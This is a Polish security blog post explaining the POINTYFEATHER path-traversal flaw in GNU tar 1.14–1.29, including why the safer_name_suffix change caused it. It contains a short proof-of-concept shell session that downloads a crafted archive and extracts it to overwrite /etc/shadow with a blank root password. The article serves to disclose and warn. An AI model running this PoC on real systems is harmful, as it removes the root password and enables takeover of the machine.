POINTYFEATHER aka ominięcie ścieżki rozpakowania tar
Napisał: Patryk Krawaczyński
31/10/2016 w Bezpieczeństwo Brak komentarzy. (artykuł nr 568, ilość słów: 298)
B
łąd w programie tar umożliwia pomyślne wypakowanie plików i katalogów do dowolnej lokalizacji, gdy podsunie mu się odpowiednio spreparowany plik archiwum. W przypadku, gdy na systemie zostanie rozpakowane archiwum dostarczone przez atakującego podatność może zostać wykorzystania do nadpisania wrażliwych plików zwykłego użytkownika (np. .ssh/authorized_keys
, .bashrc
, .bash_logout
, .profile
, .subversion
, czy .anyconnect
), a w przypadku użycia tar przez administratora np. podmiany /etc/shadow
, wpisów cron użytkownika root, plików binarnych na te zawierające tylną furtkę lub atrybut suid.
Luka pojawiła się w mechanizmie, który miał chronić właśnie przed atakiem path travesal (czyli takim manipulowaniu ścieżkami, aby dostać się do niedostępnych plików) podczas wypakowywania plików zawierających sekwencje znaków: ".."
w nazwie. Zamiana na funkcję `safer_name_suffix` – ((extract_archive): Use safer_name_suffix rather than rolling our own.) – spowodowała, że niefortunnym skutkiem ubocznym tej zmiany jest próba uczynienia złośliwej nazwy pliku w archiwum “bezpieczną” (wcześniej była ona pomijana). Na przykład zamiana nazwy pliku: etc/motd/../etc/shadow
na bezpieczną polega separacji całej narażonej ścieżki: etc/motd/../
, co powoduje pozostawienie docelowej nazwy pliku: etc/shadow
względnej w stosunku do docelowego katalogu. PoC – do uruchomienia tylko i wyłącznie na maszynie wirtualnej do testów:
# pwd /root # curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motd tar: Removing leading `etc/motd/../' from member names etc/motd/../etc/shadow # cat etc/shadow root::0:0:99999:7::: # wget https://sintonen.fi/advisories/tar-poc.tar # tar -tvf tar-poc.tar -rw------- 0 root root 21 11 mar 2016 etc/motd/../etc/shadow # tar -C / -xvf tar-poc.tar etc/motd tar: Removing leading `etc/motd/../' from member names etc/motd/../etc/shadow # cat /etc/shadow root::0:0:99999:7:::
Podatne są wersje programu tar od 1.14 do 1.29. Najbardziej narażone są systemy, które przyjmują spakowane pliki z niezaufanych źródeł, a automaty / skrypty, które je uruchamiają posiadają podniesione uprawnienia. Należy pamiętać, aby niezaufane archiwa rozpakowywać w izolowanych środowiskach.
Więcej informacji: POINTYFEATHER aka Tar extract pathname bypass